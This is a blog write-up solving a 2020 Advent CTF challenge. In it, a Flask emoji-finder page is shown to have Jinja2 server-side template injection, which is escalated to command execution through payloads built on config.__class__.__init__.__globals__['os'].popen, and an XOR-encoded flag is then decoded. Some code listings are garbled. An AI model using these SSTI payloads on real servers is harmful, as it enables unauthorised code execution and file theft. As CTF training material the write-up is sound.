Home Write-Up Advent of CTF 2020 Challenge 16
Post
Cancel

Write-Up Advent of CTF 2020 Challenge 16

Overview

The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020. The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com/.

Challenge 16

  • Description: Santa has launched a new product, the Emoji finder! This is the first version, can you find your favorite emoji?
  • 1600 Points

Let’s start with this challenge. We visit the challenge URL https://16.adventofctf.com, and we are ended up on this webpage. We have to find our favorite emoji. Well, I think that we can forget the emoij and directly start to look for a vulnerability in this webpage.

Advent of CTF Challenge 16 Start Page

Well, let’s start with finding something interesting. After trying some payloads, we can find that this website is vulnerable for a Server Side Template Injection, with this payload:

1
{{7*'7'}}

It will be result in 7777777. This means that the Jinja2 engine is in use and that we have find a vulnerability.

Server Side Template Injection Vulnerability found

I have already done some challenges with this vulnerability, and those write-ups contains some explanation about this vulnerability. You can read the explanation in these write-ups:

  1. https://binsec.nl/hack-the-box-doctor-10-10-10-209/
  2. https://binsec.nl/hack-the-box-templated/

If you need a password to read those write-ups, it’s because the machine and challenge are still active on Hack The Box, it’s now allowed to publish write-ups public of active machines and challenges. If you do not have the flags to read those write-ups, you have to wait until they are retired 🙂

But don’t worry, Portswigger also has a nice article with an explanation. That’s where I got my information from https://portswigger.net/research/server-side-template-injection.

Let’s proceed. Let’s first try to read the configuration file with this payload { {config.items()} }. The website is returning the contents of this file.

SSTI read configuration file

If we are reading the contents of this file, we can find the encrypted flag in the FLAG element.

HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr)G#*\x14,#dp=Z@AP\x0c*

Ok, let’s proceed. This flag is encoded, we need to find out, how this flag is encrypted and we need to find a way to decrypt this flag. Let’s try next to do a Remote Code Execution (RCE) on this box and list the files. For listing the files we can use this payload:

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

SSTI to RCE

Well, we can read some files. The file app.py is quite interesting, let’s read the contents of this file. We can take the contents of this file by invoking this payload.

{ {config.class.init.globals['os'].popen('cat app.py').read()} }

SSTI read arbitrary files

Let’s copy the contents of this Python script and let’s start analyzing it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import random
from flask 
import Flask, render_template_string, render_template, request 
import os import 

emojis app = Flask(__name__) app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl'

# Interesting definition. It's encrypting the flag
def magic(flag, key): 
    return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag))) 
    file = open("/tmp/flag.txt", "r") 
    flag = file.read() 
    app.config['flag'] = magic(flag, '112f3a99b283a4e1788dedd8e0e5d35375c33747') # reading the flag from config file, with the decryption key
    flag = "" 
    os.remove("/tmp/flag.txt") 
    @app.route('/', methods=['GET', 'POST']) 

# The rest is not interesting you can forget
def index(): 
    if request.method == 'POST':
        emoji="unknown"
        try:
            p = request.values.get('emoji')
            if p != None:
                emoji = emojis.db.get_emoji_by_alias(p)
        except Exception as e: 
            print(e) 
            pass 
        try: 
            if emoji == None:
                return render_template_string("You entered an unknown emoji: %s" % p) 
            else: 
                return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases)) 
            except Exception as e: 
                print(e) 
                return 'Exception' 
                return render_template('index.html') 

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000) 

Solution

Ok, it’s a huge script, but for the most part, you can forget. The definition magic is passing two parameters. The first parameter is flag and the second is the parameter key. As we can see, this definition is encrypting the flag in this part:

1
2
3
4
5
6
7
8
9
def magic(flag, key): 
    return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag))) 

We can now decrypt the flag. We can take this part of the script and make some modifications to decrypt the flag. You can use this [online Python IDE](https://www.online-python.com/){:target="_blank"} to running this piece of code.

def magic(flag, key): 
    print(''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag))))

magic(,"HKQ\x1f\x7f~e|\x06{r9&lt;\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*","112f3a99b283a4e1788dedd8e0e5d35375c33747")

After running this script, we got the decoded flag: NOVI{you_used_the_m@gic_of_christmas}.

Thanks for reading!

References

This post is licensed under CC BY 4.0 by the author.